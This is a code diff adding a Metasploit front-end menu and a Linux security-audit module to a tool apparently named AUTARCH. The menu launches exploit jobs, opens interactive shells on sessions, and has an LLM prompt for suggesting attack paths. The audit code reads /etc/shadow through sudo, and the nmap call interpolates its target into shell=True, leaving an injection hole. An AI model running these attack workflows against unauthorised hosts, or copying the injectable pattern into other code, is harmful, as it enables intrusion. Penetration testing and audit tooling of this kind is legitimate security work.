input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_specific_option(self, opt_name: str, options: Dict): + """Set a specific option with term bank help.""" + print() + + # Show help from term bank or module + term_info = get_setting_info(opt_name) + if term_info: + print(format_setting_help(opt_name)) + elif opt_name in options: + opt_info = options[opt_name] + desc = opt_info.get('desc', 'No description') + print(f" {Colors.CYAN}{opt_name}:{Colors.RESET} {desc}") + print() + + current = self.module_options.get(opt_name, '') + prompt = f"{opt_name} [{current}]: " if current else f"{opt_name}: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if value or not current: + self.module_options[opt_name] = value + self.print_status(f"{opt_name} => {value}", "success") + else: + self.print_status(f"{opt_name} unchanged", "info") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def set_option(self): + """Set a module option.""" + if not self.current_module: + self.print_status("No module selected.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Set Option{Colors.RESET}") + print(f"{Colors.DIM}Common: RHOSTS, RPORT, LHOST, LPORT, PAYLOAD{Colors.RESET}\n") + + opt_name = input(f"{Colors.WHITE}Option name: {Colors.RESET}").strip().upper() + if not opt_name: + return + + # Show help + term_info = get_setting_info(opt_name) + if term_info: + print() + print(format_setting_help(opt_name)) + print() + + current = self.module_options.get(opt_name, '') + prompt = f"{Colors.WHITE}Value [{current}]: {Colors.RESET}" if current else f"{Colors.WHITE}Value: {Colors.RESET}" + opt_value = input(prompt).strip() + + if opt_value or not current: + self.module_options[opt_name] = opt_value + self.print_status(f"{opt_name} => {opt_value}", "success") + else: + self.print_status(f"{opt_name} unchanged", "info") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def run_module(self): + """Execute the current module.""" + if not self.current_module: + self.print_status("No module selected.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + if not self.ensure_connected(): + return + + full_path = f"{self.current_module_type}/{self.current_module}" + + print(f"\n{Colors.BOLD}Run Module: {full_path}{Colors.RESET}") + print(f"\n{Colors.CYAN}Options:{Colors.RESET}") + for k, v in self.module_options.items(): + if v: + print(f" {k} = {v}") + + confirm = input(f"\n{Colors.YELLOW}Execute? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + self.print_status("Executing module...", "info") + + # Use job execution for exploits, console execution for auxiliary/scanners + if self.current_module_type in ['exploit', 'post']: + success, job_id, error = self.msf.execute_module_job(full_path, self.module_options) + if success: + self.print_status(f"Module running as Job {job_id}", "success") + else: + self.print_status(f"Execution failed: {error}", "error") + else: + result = self.msf.run_module(full_path, self.module_options, timeout=120) + self.msf.print_result(result, verbose=True) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # SESSIONS AND JOBS + # ========================================================================= + + def show_sessions(self): + """Show active sessions.""" + if not self.ensure_connected(): + return + + sessions = self.msf.list_sessions() + + print(f"\n{Colors.BOLD}Active Sessions{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if not sessions: + self.print_status("No active sessions", "info") + else: + for sid, info in sessions.items(): + if isinstance(info, dict): + stype = info.get('type', 'shell') + target = info.get('target_host', 'unknown') + user = info.get('username', '') + via = info.get('via_exploit', '')[:30] + print(f" {Colors.GREEN}[{sid}]{Colors.RESET} {stype} @ {target}") + if user: + print(f" {Colors.DIM}User: {user}{Colors.RESET}") + if via: + print(f" {Colors.DIM}Via: {via}{Colors.RESET}") + else: + print(f" {Colors.GREEN}[{sid}]{Colors.RESET} {info}") + + print() + sid = input(f"{Colors.WHITE}Interact with session (or Enter to skip): {Colors.RESET}").strip() + if sid and sid in sessions: + self.interact_session(sid) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def interact_session(self, session_id: str): + """Interact with a session.""" + print(f"\n{Colors.GREEN}Interacting with session {session_id}{Colors.RESET}") + print(f"{Colors.DIM}Type 'exit' to return to menu{Colors.RESET}\n") + + while True: + try: + cmd = input(f"{Colors.RED}session({session_id})>{Colors.RESET} ").strip() + + if cmd.lower() == 'exit': + break + + if not cmd: + continue + + self.msf.session_write(session_id, cmd) + time.sleep(1) + success, output = self.msf.session_read(session_id) + if success and output: + print(output) + + except (EOFError, KeyboardInterrupt): + print() + break + except Exception as e: + self.print_status(f"Session error: {e}", "error") + break + + def show_jobs(self): + """Show running jobs.""" + if not self.ensure_connected(): + return + + jobs = self.msf.list_jobs() + + print(f"\n{Colors.BOLD}Running Jobs{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if not jobs: + self.print_status("No running jobs", "info") + else: + for jid, jname in jobs.items(): + print(f" {Colors.YELLOW}[{jid}]{Colors.RESET} {jname}") + + print() + jid = input(f"{Colors.WHITE}Kill job (or Enter to skip): {Colors.RESET}").strip() + if jid and jid in jobs: + if self.msf.stop_job(jid): + self.print_status(f"Job {jid} stopped", "success") + else: + self.print_status(f"Failed to stop job {jid}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # CONSOLE AND QUICK SCAN + # ========================================================================= + + def console_command(self): + """Run console commands directly.""" + if not self.ensure_connected(): + return + + print(f"\n{Colors.BOLD}MSF Console{Colors.RESET}") + print(f"{Colors.DIM}Enter commands directly (type 'exit' to return){Colors.RESET}\n") + + while True: + try: + cmd = input(f"{Colors.RED}msf>{Colors.RESET} ").strip() + + if cmd.lower() == 'exit': + break + + if not cmd: + continue + + success, output = self.msf.run_console_command(cmd) + if output: + print(output) + + except (EOFError, KeyboardInterrupt): + print() + break + + def quick_scan(self): + """Quick scanner with pre-set target.""" + if not self.ensure_connected(): + return + + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Quick Scan{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Show current target + if self.global_settings['RHOSTS']: + print(f" {Colors.GREEN}Target: {self.global_settings['RHOSTS']}{Colors.RESET}") + else: + print(f" {Colors.YELLOW}Target: Not set (will prompt){Colors.RESET}") + print() + + scanners = [ + ("auxiliary/scanner/portscan/tcp", "TCP Port Scanner", "Scan for open TCP ports"), + ("auxiliary/scanner/smb/smb_version", "SMB Version", "Identify Windows/SMB version"), + ("auxiliary/scanner/smb/smb_ms17_010", "MS17-010 Check", "Check for EternalBlue vulnerability"), + ("auxiliary/scanner/ssh/ssh_version", "SSH Version", "Identify SSH server version"), + ("auxiliary/scanner/http/http_version", "HTTP Version", "Identify web server version"), + ("auxiliary/scanner/ftp/ftp_version", "FTP Version", "Identify FTP server version"), + ] + + for i, (mod, name, desc) in enumerate(scanners, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{desc}{Colors.RESET}") + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Cancel\n") + + choice = input(f"{Colors.WHITE} Select scanner: {Colors.RESET}").strip() + + try: + idx = int(choice) - 1 + if 0 <= idx < len(scanners): + scanner_mod, scanner_name, _ = scanners[idx] + + # Get target + target = self.global_settings['RHOSTS'] + if not target: + target = input(f"{Colors.WHITE}Target (IP/range): {Colors.RESET}").strip() + + if not target: + return + + options = {'RHOSTS': target, 'THREADS': '10'} + + print(f"\n{Colors.CYAN}Running {scanner_name} against {target}...{Colors.RESET}") + + result = self.msf.run_scanner(scanner_mod, target, options=options, timeout=120) + self.msf.print_result(result, verbose=False) + + except (ValueError, IndexError): + pass + except Exception as e: + self.print_status(f"Scanner failed: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # EXPLOIT SUGGESTER + # ========================================================================= + + def exploit_suggester(self): + """Suggest exploits based on vulnerability scan results.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Exploit Suggester{Colors.RESET}") + print(f"{Colors.DIM} Suggest attack paths based on detected vulnerabilities{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.RED}[1]{Colors.RESET} Load vuln_correlator JSON") + print(f" {Colors.RED}[2]{Colors.RESET} Run fresh scan") + print(f" {Colors.RED}[3]{Colors.RESET} Manual service list") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + services = [] + cves = [] + + if choice == "1": + # Load from vuln correlator JSON + results_dir = Path("results") + json_files = sorted(results_dir.glob("vuln_correlator_*.json")) if results_dir.exists() else [] + if not json_files: + self.print_status("No vuln correlator results found. Run OSINT > Vulnerability Correlator first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}Available vuln reports:{Colors.RESET}") + for i, f in enumerate(json_files, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {f.name}") + + sel = input(f"\n{Colors.WHITE}Select: {Colors.RESET}").strip() + try: + idx = int(sel) - 1 + with open(json_files[idx], 'r') as f: + data = json.load(f) + + for corr in data.get('correlations', []): + svc = corr.get('service', {}) + services.append(svc) + for cve in corr.get('cves', []): + cves.append(cve) + except (ValueError, IndexError, json.JSONDecodeError) as e: + self.print_status(f"Error loading file: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + elif choice == "2": + target = self.global_settings.get('RHOSTS', '') or input(f"{Colors.WHITE}Target: {Colors.RESET}").strip() + if not target: + return + + self.print_status(f"Running nmap -sV on {target}...", "info") + import subprocess + try: + result = subprocess.run(f"nmap -sV -T4 {target}", shell=True, capture_output=True, text=True, timeout=300) + if result.returncode == 0: + port_re = re.compile(r'(\d+)/(tcp|udp)\s+open\s+(\S+)\s*(.*)') + for line in result.stdout.split('\n'): + m = port_re.match(line.strip()) + if m: + parts = m.group(4).strip().split() + services.append({ + 'port': int(m.group(1)), + 'service': parts[0] if parts else m.group(3), + 'version': parts[1] if len(parts) > 1 else '', + 'host': target, + }) + except Exception as e: + self.print_status(f"Scan failed: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + elif choice == "3": + print(f"\n{Colors.DIM}Enter services (format: port service version), empty line to finish:{Colors.RESET}") + while True: + line = input(f"{Colors.WHITE} > {Colors.RESET}").strip() + if not line: + break + parts = line.split() + if len(parts) >= 2: + services.append({ + 'port': int(parts[0]) if parts[0].isdigit() else 0, + 'service': parts[1], + 'version': parts[2] if len(parts) > 2 else '', + }) + else: + return + + if not services: + self.print_status("No services to analyze", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Try LLM-based suggestion first + suggestions = [] + try: + from core.llm import get_llm + llm = get_llm() + if llm.is_loaded: + self.print_status("Using LLM for exploit analysis...", "info") + prompt = self._build_exploit_prompt(services, cves) + + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Exploit Analysis{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + # Stream response + full_response = "" + for token in llm.generate(prompt, stream=True, max_tokens=1024): + print(token, end='', flush=True) + full_response += token + print() + + suggestions = self._parse_exploit_suggestions(full_response) + else: + raise Exception("LLM not loaded") + except Exception: + # Fallback: direct CVE-to-MSF mapping + self.print_status("Using direct CVE-to-MSF mapping (no LLM)...", "info") + suggestions = self._fallback_exploit_suggestions(services, cves) + + # Display suggestions + if suggestions: + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Suggested Exploits{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + for i, s in enumerate(suggestions, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {s.get('module', 'N/A')}") + print(f" Target: {s.get('target', 'N/A')}") + if s.get('cve'): + print(f" CVE: {s['cve']}") + if s.get('reasoning'): + print(f" {Colors.DIM}{s['reasoning']}{Colors.RESET}") + print() + + self._offer_autoload(suggestions) + else: + self.print_status("No matching exploits found in module library", "info") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _build_exploit_prompt(self, services: list, cves: list) -> str: + """Build LLM prompt for exploit suggestion.""" + # Gather available MSF modules + relevant_modules = [] + for svc in services: + svc_name = svc.get('service', '').lower() + results = library_search_modules(svc_name, max_results=5) + for mod in results: + if mod['path'] not in [m['path'] for m in relevant_modules]: + relevant_modules.append(mod) + + # Also search by CVE + for cve in cves[:10]: + cve_id = cve.get('cve_id', '') + if cve_id: + results = library_search_modules(cve_id, max_results=3) + for mod in results: + if mod['path'] not in [m['path'] for m in relevant_modules]: + relevant_modules.append(mod) + + prompt = "You are a penetration testing assistant. Based on the following target information, suggest the top 5 attack paths.\n\n" + prompt += "TARGET SERVICES:\n" + for svc in services: + prompt += f" - Port {svc.get('port', '?')}: {svc.get('service', '?')} {svc.get('version', '')}\n" + + if cves: + prompt += "\nKNOWN VULNERABILITIES:\n" + for cve in cves[:15]: + prompt += f" - {cve.get('cve_id', '?')} ({cve.get('severity', '?')} {cve.get('cvss_score', '?')}): {(cve.get('description', '') or '')[:100]}\n" + + if relevant_modules: + prompt += "\nAVAILABLE METASPLOIT MODULES:\n" + for mod in relevant_modules[:15]: + prompt += f" - {mod['path']}: {mod.get('name', '')}\n" + + prompt += "\nFor each suggestion, provide: module path, target service, CVE (if applicable), and reasoning.\n" + prompt += "Format each as: RANK. MODULE_PATH | TARGET | CVE | REASONING\n" + + return prompt + + def _parse_exploit_suggestions(self, response: str) -> list: + """Parse exploit suggestions from LLM response.""" + suggestions = [] + lines = response.split('\n') + + for line in lines: + line = line.strip() + if not line: + continue + + # Try to parse "N. module | target | cve | reasoning" format + if '|' in line and ('/' in line or 'exploit' in line.lower() or 'auxiliary' in line.lower()): + parts = [p.strip() for p in line.split('|')] + # Remove leading number + first = re.sub(r'^\d+\.\s*', '', parts[0]) + + suggestion = { + 'module': first, + 'target': parts[1] if len(parts) > 1 else '', + 'cve': parts[2] if len(parts) > 2 else '', + 'reasoning': parts[3] if len(parts) > 3 else '', + } + suggestions.append(suggestion) + + return suggestions[:5] + + def _fallback_exploit_suggestions(self, services: list, cves: list) -> list: + """Fallback exploit suggestion using direct CVE-to-MSF mapping.""" + suggestions = [] + seen_modules = set() + + # Search by CVE + for cve in cves[:20]: + cve_id = cve.get('cve_id', '') + if not cve_id: + continue + results = library_search_modules(cve_id, max_results=3) + for mod in results: + if mod['path'] not in seen_modules: + seen_modules.add(mod['path']) + suggestions.append({ + 'module': mod['path'], + 'target': mod.get('name', ''), + 'cve': cve_id, + 'reasoning': f"CVSS {cve.get('cvss_score', '?')} - Direct CVE match", + }) + + # Search by service name + for svc in services: + svc_name = svc.get('service', '').lower() + if not svc_name: + continue + results = library_search_modules(svc_name, max_results=3) + for mod in results: + if mod['path'] not in seen_modules and mod['path'].startswith('exploit'): + seen_modules.add(mod['path']) + suggestions.append({ + 'module': mod['path'], + 'target': f"{svc_name} on port {svc.get('port', '?')}", + 'cve': ', '.join(mod.get('cve', []) or []), + 'reasoning': f"Service match: {svc_name} {svc.get('version', '')}", + }) + + return suggestions[:5] + + def _offer_autoload(self, suggestions: list): + """Offer to auto-load a suggested module.""" + choice = input(f"\n{Colors.WHITE}Load a module? (enter number or 0 to skip): {Colors.RESET}").strip() + if not choice or choice == '0': + return + + try: + idx = int(choice) - 1 + if 0 <= idx < len(suggestions): + module_path = suggestions[idx].get('module', '') + if module_path and '/' in module_path: + self.print_status(f"Loading {module_path}...", "info") + self._select_module(module_path) + except (ValueError, IndexError): + pass + + # ========================================================================= + # MAIN LOOP + # ========================================================================= + + def run(self): + """Main loop.""" + while True: + self.show_main_menu() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.show_target_settings() + elif choice == "2": + self.show_module_browser() + elif choice == "3": + self.search_modules() + elif choice == "4": + self.show_current_module() + elif choice == "5": + self.run_module() + elif choice == "6": + self.show_sessions() + elif choice == "7": + self.show_jobs() + elif choice == "8": + self.console_command() + elif choice == "9": + self.quick_scan() + elif choice.lower() == "e": + self.exploit_suggester() + + except (EOFError, KeyboardInterrupt): + print() + break + + +def run(): + """Module entry point.""" + menu = MSFMenu() + menu.run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/mysystem.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/mysystem.py new file mode 100644 index 0000000..979c1a3 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/mysystem.py @@ -0,0 +1,1258 @@ +""" +AUTARCH My System Module +Comprehensive system security audit with CVE detection and remediation + +Performs full system audit, saves results, and offers LLM-assisted or manual fixes. +""" + +import os +import sys +import json +import subprocess +import socket +from pathlib import Path +from datetime import datetime +from typing import Optional, List, Dict, Any + +# Module metadata +DESCRIPTION = "System audit with CVE detection & auto-fix" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner +from core.config import get_config +from core.cve import get_cve_db + + +class SecurityIssue: + """Represents a security issue found during audit.""" + + SEVERITY_COLORS = { + 'CRITICAL': Colors.RED, + 'HIGH': Colors.RED, + 'MEDIUM': Colors.YELLOW, + 'LOW': Colors.CYAN, + 'INFO': Colors.DIM, + } + + def __init__( + self, + name: str, + description: str, + severity: str, + category: str, + fix_command: str = None, + fix_instructions: str = None, + cve_ids: List[str] = None + ): + self.name = name + self.description = description + self.severity = severity.upper() + self.category = category + self.fix_command = fix_command + self.fix_instructions = fix_instructions + self.cve_ids = cve_ids or [] + self.status = "open" # open, fixed, ignored + + def to_dict(self) -> Dict: + return { + 'name': self.name, + 'description': self.description, + 'severity': self.severity, + 'category': self.category, + 'fix_command': self.fix_command, + 'fix_instructions': self.fix_instructions, + 'cve_ids': self.cve_ids, + 'status': self.status, + } + + @classmethod + def from_dict(cls, data: Dict) -> 'SecurityIssue': + issue = cls( + name=data.get('name', ''), + description=data.get('description', ''), + severity=data.get('severity', 'MEDIUM'), + category=data.get('category', 'general'), + fix_command=data.get('fix_command'), + fix_instructions=data.get('fix_instructions'), + cve_ids=data.get('cve_ids', []), + ) + issue.status = data.get('status', 'open') + return issue + + +class MySystem: + """Comprehensive system security auditor.""" + + @staticmethod + def _system_inf_path(): + from core.paths import get_app_dir + return get_app_dir() / "system.inf" + + def __init__(self): + self.issues: List[SecurityIssue] = [] + self.system_info: Dict = {} + self.audit_results: Dict = {} + self.security_score: int = 100 + self.cve_db = get_cve_db() + self.llm = None + + def print_status(self, message: str, status: str = "info"): + colors = { + "info": Colors.CYAN, + "success": Colors.GREEN, + "warning": Colors.YELLOW, + "error": Colors.RED + } + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 10) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def collect_system_info(self): + """Collect comprehensive system information.""" + self.print_status("Collecting system information...") + + info = self.cve_db.get_system_info() + + # Additional system info + success, output = self.run_cmd("hostname") + info['hostname'] = output if success else 'unknown' + + success, output = self.run_cmd("uptime -p 2>/dev/null || uptime") + info['uptime'] = output if success else 'unknown' + + success, output = self.run_cmd("whoami") + info['current_user'] = output if success else 'unknown' + + success, output = self.run_cmd("cat /proc/meminfo 2>/dev/null | grep MemTotal | awk '{print $2}'") + if success and output: + info['memory_kb'] = int(output) + info['memory_gb'] = round(int(output) / 1024 / 1024, 1) + + success, output = self.run_cmd("nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null") + info['cpu_cores'] = int(output) if success and output.isdigit() else 0 + + self.system_info = info + + def add_issue( + self, + name: str, + description: str, + severity: str, + category: str, + fix_command: str = None, + fix_instructions: str = None, + score_penalty: int = 5 + ): + """Add a security issue to the list.""" + issue = SecurityIssue( + name=name, + description=description, + severity=severity, + category=category, + fix_command=fix_command, + fix_instructions=fix_instructions, + ) + self.issues.append(issue) + + # Adjust score based on severity + penalties = {'CRITICAL': 20, 'HIGH': 15, 'MEDIUM': 10, 'LOW': 5, 'INFO': 0} + self.security_score -= penalties.get(severity.upper(), score_penalty) + self.security_score = max(0, self.security_score) + + # ========================================================================= + # AUDIT CHECKS + # ========================================================================= + + def check_firewall(self): + """Check firewall status.""" + self.print_status("Checking firewall...") + + # Check iptables + success, output = self.run_cmd("iptables -L -n 2>/dev/null | head -20") + if success and "Chain" in output: + rules = output.count("\n") + if rules > 5: + self.audit_results['firewall'] = {'status': 'enabled', 'type': 'iptables', 'rules': rules} + return + else: + self.add_issue( + "Firewall - Minimal Rules", + f"iptables has only {rules} rules configured", + "MEDIUM", + "network", + fix_instructions="Configure iptables with appropriate rules or use ufw/firewalld for easier management" + ) + return + + # Check ufw + success, output = self.run_cmd("ufw status 2>/dev/null") + if success and "active" in output.lower(): + self.audit_results['firewall'] = {'status': 'enabled', 'type': 'ufw'} + return + + # Check firewalld + success, output = self.run_cmd("firewall-cmd --state 2>/dev/null") + if success and "running" in output.lower(): + self.audit_results['firewall'] = {'status': 'enabled', 'type': 'firewalld'} + return + + # No firewall + self.add_issue( + "No Active Firewall", + "No firewall (iptables/ufw/firewalld) is currently active", + "HIGH", + "network", + fix_command="sudo ufw enable", + fix_instructions="Enable UFW: sudo ufw enable\nOr install: sudo apt install ufw && sudo ufw enable" + ) + + def check_ssh_config(self): + """Check SSH hardening.""" + self.print_status("Checking SSH configuration...") + + ssh_config = Path("/etc/ssh/sshd_config") + if not ssh_config.exists(): + self.audit_results['ssh'] = {'status': 'not_installed'} + return + + try: + content = ssh_config.read_text() + except PermissionError: + success, content = self.run_cmd("sudo cat /etc/ssh/sshd_config 2>/dev/null") + if not success: + self.audit_results['ssh'] = {'status': 'permission_denied'} + return + + self.audit_results['ssh'] = {'status': 'installed', 'issues': []} + + # Check root login + if "PermitRootLogin no" not in content and "PermitRootLogin prohibit-password" not in content: + self.add_issue( + "SSH Root Login Enabled", + "Root login via SSH is not disabled", + "HIGH", + "ssh", + fix_command="sudo sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config && sudo systemctl restart sshd", + fix_instructions="Edit /etc/ssh/sshd_config:\n PermitRootLogin no\nThen restart: sudo systemctl restart sshd" + ) + + # Check password auth + if "PasswordAuthentication no" not in content: + self.add_issue( + "SSH Password Auth Enabled", + "Password authentication is enabled (key-based is more secure)", + "MEDIUM", + "ssh", + fix_command="sudo sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config && sudo systemctl restart sshd", + fix_instructions="Edit /etc/ssh/sshd_config:\n PasswordAuthentication no\nEnsure you have SSH keys set up first!" + ) + + # Check protocol version + if "Protocol 1" in content: + self.add_issue( + "SSH Protocol 1 Enabled", + "Insecure SSH Protocol 1 is enabled", + "CRITICAL", + "ssh", + fix_instructions="Remove 'Protocol 1' from /etc/ssh/sshd_config" + ) + + def check_open_ports(self): + """Check for listening ports.""" + self.print_status("Scanning open ports...") + + success, output = self.run_cmd("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null") + if not success: + return + + lines = [l for l in output.split('\n') if 'LISTEN' in l] + self.audit_results['ports'] = {'listening': len(lines), 'high_risk': []} + + high_risk_ports = { + '21': ('FTP', 'HIGH', 'FTP transmits credentials in plaintext'), + '23': ('Telnet', 'CRITICAL', 'Telnet is unencrypted'), + '69': ('TFTP', 'HIGH', 'TFTP has no authentication'), + '111': ('RPC', 'MEDIUM', 'RPC can expose services'), + '135': ('MS-RPC', 'HIGH', 'Windows RPC - potential attack vector'), + '139': ('NetBIOS', 'HIGH', 'NetBIOS session service'), + '445': ('SMB', 'HIGH', 'SMB - common attack target'), + '512': ('rexec', 'CRITICAL', 'Insecure remote execution'), + '513': ('rlogin', 'CRITICAL', 'Insecure remote login'), + '514': ('rsh', 'CRITICAL', 'Insecure remote shell'), + '1433': ('MSSQL', 'MEDIUM', 'Database port exposed'), + '3306': ('MySQL', 'MEDIUM', 'Database port exposed'), + '3389': ('RDP', 'HIGH', 'Remote Desktop exposed'), + '5432': ('PostgreSQL', 'MEDIUM', 'Database port exposed'), + '5900': ('VNC', 'HIGH', 'VNC often weakly configured'), + } + + for line in lines: + for port, (name, severity, desc) in high_risk_ports.items(): + if f':{port} ' in line or f':{port}\t' in line: + self.audit_results['ports']['high_risk'].append(port) + self.add_issue( + f"High-Risk Port Open: {port} ({name})", + desc, + severity, + "network", + fix_instructions=f"Disable the {name} service if not needed:\n sudo systemctl stop \n sudo systemctl disable " + ) + + def check_users(self): + """Check user security.""" + self.print_status("Checking user accounts...") + + self.audit_results['users'] = {'issues': []} + + # Users with UID 0 + success, output = self.run_cmd("awk -F: '$3 == 0 {print $1}' /etc/passwd") + if success: + uid0_users = [u for u in output.split('\n') if u] + if len(uid0_users) > 1: + extra_roots = [u for u in uid0_users if u != 'root'] + self.add_issue( + "Multiple Root Users", + f"Users with UID 0 besides root: {', '.join(extra_roots)}", + "CRITICAL", + "users", + fix_instructions="Review and remove extra UID 0 accounts:\n sudo vipw\n Change UID to non-zero or remove account" + ) + + # Empty passwords + success, output = self.run_cmd("sudo awk -F: '($2 == \"\" ) {print $1}' /etc/shadow 2>/dev/null") + if success and output: + empty = [u for u in output.split('\n') if u] + if empty: + self.add_issue( + "Users with Empty Passwords", + f"Accounts without passwords: {', '.join(empty)}", + "CRITICAL", + "users", + fix_instructions=f"Set passwords for these users:\n sudo passwd \nOr lock the accounts:\n sudo usermod -L " + ) + + # Users with shells that shouldn't have them + success, output = self.run_cmd("awk -F: '($7 != \"/usr/sbin/nologin\" && $7 != \"/bin/false\" && $7 != \"/sbin/nologin\") {print $1}' /etc/passwd") + if success: + shell_users = [u for u in output.split('\n') if u] + self.audit_results['users']['shell_users'] = len(shell_users) + + def check_permissions(self): + """Check critical file permissions.""" + self.print_status("Checking file permissions...") + + critical_files = [ + ("/etc/passwd", "644", "User database"), + ("/etc/shadow", "640", "Password hashes"), + ("/etc/group", "644", "Group database"), + ("/etc/gshadow", "640", "Group passwords"), + ("/etc/ssh/sshd_config", "600", "SSH configuration"), + ("/root", "700", "Root home directory"), + ("/etc/crontab", "600", "System crontab"), + ] + + self.audit_results['permissions'] = {'checked': 0, 'issues': 0} + + for filepath, expected, desc in critical_files: + p = Path(filepath) + if p.exists(): + self.audit_results['permissions']['checked'] += 1 + try: + mode = oct(p.stat().st_mode)[-3:] + if int(mode) > int(expected): + self.audit_results['permissions']['issues'] += 1 + self.add_issue( + f"Insecure Permissions: {filepath}", + f"{desc} has mode {mode} (should be {expected} or less)", + "MEDIUM", + "permissions", + fix_command=f"sudo chmod {expected} {filepath}", + fix_instructions=f"Fix permissions:\n sudo chmod {expected} {filepath}" + ) + except: + pass + + # Check for world-writable directories + success, output = self.run_cmd("find /etc -type f -perm -002 2>/dev/null | head -5") + if success and output: + files = output.split('\n') + self.add_issue( + "World-Writable Files in /etc", + f"Found {len(files)} world-writable files in /etc", + "HIGH", + "permissions", + fix_instructions="Review and fix permissions:\n find /etc -type f -perm -002 -exec chmod o-w {} \\;" + ) + + def check_services(self): + """Check for unnecessary/dangerous services.""" + self.print_status("Auditing services...") + + dangerous_services = [ + ("telnet", "Telnet server"), + ("rsh", "Remote shell"), + ("rlogin", "Remote login"), + ("tftp", "TFTP server"), + ("vsftpd", "FTP server"), + ("proftpd", "FTP server"), + ("pure-ftpd", "FTP server"), + ] + + self.audit_results['services'] = {'dangerous_running': []} + + for svc, desc in dangerous_services: + success, _ = self.run_cmd(f"systemctl is-active {svc} 2>/dev/null") + if success: + self.audit_results['services']['dangerous_running'].append(svc) + self.add_issue( + f"Dangerous Service Running: {svc}", + f"{desc} is running", + "HIGH", + "services", + fix_command=f"sudo systemctl stop {svc} && sudo systemctl disable {svc}", + fix_instructions=f"Stop and disable {svc}:\n sudo systemctl stop {svc}\n sudo systemctl disable {svc}" + ) + + def check_updates(self): + """Check for available updates.""" + self.print_status("Checking for updates...") + + self.audit_results['updates'] = {'available': 0, 'security': 0} + + os_id = self.system_info.get('os_id', '') + + if os_id in ['debian', 'ubuntu', 'kali', 'mint']: + success, output = self.run_cmd("apt list --upgradable 2>/dev/null | grep -c upgradable || echo 0", timeout=30) + if success and output.isdigit(): + count = int(output) + self.audit_results['updates']['available'] = count + if count > 50: + self.add_issue( + "Many Pending Updates", + f"{count} packages need updating", + "MEDIUM", + "updates", + fix_command="sudo apt update && sudo apt upgrade -y", + fix_instructions="Update system:\n sudo apt update\n sudo apt upgrade" + ) + + elif os_id in ['fedora', 'rhel', 'centos', 'rocky', 'alma']: + success, output = self.run_cmd("dnf check-update 2>/dev/null | wc -l", timeout=30) + if success and output.isdigit(): + self.audit_results['updates']['available'] = int(output) + + def check_fail2ban(self): + """Check fail2ban status.""" + self.print_status("Checking fail2ban...") + + success, output = self.run_cmd("systemctl is-active fail2ban 2>/dev/null") + if success and "active" in output: + self.audit_results['fail2ban'] = {'status': 'running'} + else: + success, _ = self.run_cmd("which fail2ban-client 2>/dev/null") + if success: + self.add_issue( + "Fail2Ban Not Running", + "Fail2ban is installed but not running", + "MEDIUM", + "services", + fix_command="sudo systemctl start fail2ban && sudo systemctl enable fail2ban", + fix_instructions="Start fail2ban:\n sudo systemctl start fail2ban\n sudo systemctl enable fail2ban" + ) + else: + self.add_issue( + "Fail2Ban 